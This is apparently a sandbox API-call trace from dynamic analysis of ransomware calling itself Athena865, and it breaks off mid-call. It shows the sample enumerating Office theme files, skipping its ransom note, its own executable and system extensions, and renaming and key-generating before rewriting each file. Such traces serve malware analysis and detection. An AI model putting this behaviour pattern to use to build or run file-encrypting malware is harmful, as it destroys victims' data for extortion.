(in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3616) returned 1 [0137.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.730] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.730] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.730] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.730] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.732] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.733] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.733] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.733] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.734] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.734] CloseHandle (hObject=0x17c) returned 1 [0137.734] CloseHandle (hObject=0x154) returned 1 [0137.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.735] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0137.735] lstrcmpiW (lpString1="Opulent.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.735] lstrcmpiW (lpString1="Opulent.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.735] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Opulent.xml" | out: lpString1="Opulent.xml") returned="Opulent.xml" [0137.735] lstrlenW (lpString="Opulent.xml") returned 11 [0137.735] lstrlenW (lpString="Athena865") returned 9 [0137.735] lstrcmpiW (lpString1="ulent.xml", lpString2="Athena865") returned 1 [0137.735] lstrlenW (lpString=".dll") returned 4 [0137.735] lstrcmpiW (lpString1="Opulent.xml", lpString2=".dll") returned 1 [0137.735] lstrlenW (lpString=".lnk") returned 4 [0137.735] lstrcmpiW (lpString1="Opulent.xml", lpString2=".lnk") returned 1 [0137.735] lstrlenW (lpString=".ini") returned 4 [0137.735] lstrcmpiW (lpString1="Opulent.xml", lpString2=".ini") returned 1 [0137.735] lstrlenW (lpString=".sys") returned 4 [0137.735] lstrcmpiW (lpString1="Opulent.xml", lpString2=".sys") returned 1 [0137.735] lstrlenW (lpString="Opulent.xml") returned 11 [0137.735] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.Athena865") returned 86 [0137.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.athena865"), dwFlags=0x1) returned 1 [0137.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.737] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3613) returned 1 [0137.737] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.738] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.738] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.738] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.739] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x17c [0137.740] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0137.741] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.742] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.742] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.742] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.742] CloseHandle (hObject=0x17c) returned 1 [0137.742] CloseHandle (hObject=0x154) returned 1 [0137.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.743] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0137.743] lstrcmpiW (lpString1="Oriel.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.743] lstrcmpiW (lpString1="Oriel.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.743] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Oriel.xml" | out: lpString1="Oriel.xml") returned="Oriel.xml" [0137.743] lstrlenW (lpString="Oriel.xml") returned 9 [0137.743] lstrlenW (lpString="Athena865") returned 9 [0137.743] lstrlenW (lpString=".dll") returned 4 [0137.743] lstrcmpiW (lpString1="Oriel.xml", lpString2=".dll") returned 1 [0137.743] lstrlenW (lpString=".lnk") returned 4 [0137.743] lstrcmpiW (lpString1="Oriel.xml", lpString2=".lnk") returned 1 [0137.743] lstrlenW (lpString=".ini") returned 4 [0137.743] lstrcmpiW (lpString1="Oriel.xml", lpString2=".ini") returned 1 [0137.743] lstrlenW (lpString=".sys") returned 4 [0137.743] lstrcmpiW (lpString1="Oriel.xml", lpString2=".sys") returned 1 [0137.743] lstrlenW (lpString="Oriel.xml") returned 9 [0137.743] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.Athena865") returned 84 [0137.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.athena865"), dwFlags=0x1) returned 1 [0137.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.745] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3674) returned 1 [0137.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.745] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.746] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.746] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.746] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1160, lpName=0x0) returned 0x17c [0137.747] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1160) returned 0x100000 [0137.748] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.749] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.749] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.750] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.750] CloseHandle (hObject=0x17c) returned 1 [0137.750] CloseHandle (hObject=0x154) returned 1 [0137.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.750] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0137.750] lstrcmpiW (lpString1="Origin.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.751] lstrcmpiW (lpString1="Origin.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.751] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Origin.xml" | out: lpString1="Origin.xml") returned="Origin.xml" [0137.751] lstrlenW (lpString="Origin.xml") returned 10 [0137.751] lstrlenW (lpString="Athena865") returned 9 [0137.751] lstrcmpiW (lpString1="rigin.xml", lpString2="Athena865") returned 1 [0137.751] lstrlenW (lpString=".dll") returned 4 [0137.751] lstrcmpiW (lpString1="Origin.xml", lpString2=".dll") returned 1 [0137.751] lstrlenW (lpString=".lnk") returned 4 [0137.751] lstrcmpiW (lpString1="Origin.xml", lpString2=".lnk") returned 1 [0137.751] lstrlenW (lpString=".ini") returned 4 [0137.751] lstrcmpiW (lpString1="Origin.xml", lpString2=".ini") returned 1 [0137.751] lstrlenW (lpString=".sys") returned 4 [0137.751] lstrcmpiW (lpString1="Origin.xml", lpString2=".sys") returned 1 [0137.751] lstrlenW (lpString="Origin.xml") returned 10 [0137.751] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.Athena865") returned 85 [0137.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.athena865"), dwFlags=0x1) returned 1 [0137.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.752] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3821) returned 1 [0137.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.753] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.754] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.754] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.754] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11f0, lpName=0x0) returned 0x17c [0137.756] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11f0) returned 0x100000 [0137.756] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.757] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.757] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.758] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.758] CloseHandle (hObject=0x17c) returned 1 [0137.758] CloseHandle (hObject=0x154) returned 1 [0137.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.758] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0137.758] lstrcmpiW (lpString1="Paper.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.759] lstrcmpiW (lpString1="Paper.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.759] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Paper.xml" | out: lpString1="Paper.xml") returned="Paper.xml" [0137.759] lstrlenW (lpString="Paper.xml") returned 9 [0137.759] lstrlenW (lpString="Athena865") returned 9 [0137.759] lstrlenW (lpString=".dll") returned 4 [0137.759] lstrcmpiW (lpString1="Paper.xml", lpString2=".dll") returned 1 [0137.759] lstrlenW (lpString=".lnk") returned 4 [0137.759] lstrcmpiW (lpString1="Paper.xml", lpString2=".lnk") returned 1 [0137.759] lstrlenW (lpString=".ini") returned 4 [0137.759] lstrcmpiW (lpString1="Paper.xml", lpString2=".ini") returned 1 [0137.759] lstrlenW (lpString=".sys") returned 4 [0137.759] lstrcmpiW (lpString1="Paper.xml", lpString2=".sys") returned 1 [0137.759] lstrlenW (lpString="Paper.xml") returned 9 [0137.759] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.Athena865") returned 84 [0137.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.athena865"), dwFlags=0x1) returned 1 [0137.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.761] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3628) returned 1 [0137.761] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.761] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.761] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.762] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1130, lpName=0x0) returned 0x17c [0137.763] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1130) returned 0x100000 [0137.764] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.765] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.765] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.765] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0137.765] lstrcmpiW (lpString1="Perspective.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.765] lstrcmpiW (lpString1="Perspective.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.765] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Perspective.xml" | out: lpString1="Perspective.xml") returned="Perspective.xml" [0137.765] lstrlenW (lpString="Perspective.xml") returned 15 [0137.766] lstrlenW (lpString="Athena865") returned 9 [0137.766] lstrcmpiW (lpString1="ctive.xml", lpString2="Athena865") returned 1 [0137.766] lstrlenW (lpString=".dll") returned 4 [0137.766] lstrcmpiW (lpString1="Perspective.xml", lpString2=".dll") returned 1 [0137.766] lstrlenW (lpString=".lnk") returned 4 [0137.766] lstrcmpiW (lpString1="Perspective.xml", lpString2=".lnk") returned 1 [0137.766] lstrlenW (lpString=".ini") returned 4 [0137.766] lstrcmpiW (lpString1="Perspective.xml", lpString2=".ini") returned 1 [0137.766] lstrlenW (lpString=".sys") returned 4 [0137.766] lstrcmpiW (lpString1="Perspective.xml", lpString2=".sys") returned 1 [0137.766] lstrlenW (lpString="Perspective.xml") returned 15 [0137.766] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.Athena865") returned 90 [0137.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.athena865"), dwFlags=0x1) returned 1 [0137.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.767] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3599) returned 1 [0137.768] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.768] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.768] CryptReleaseContext (hProv=0x54ed48, 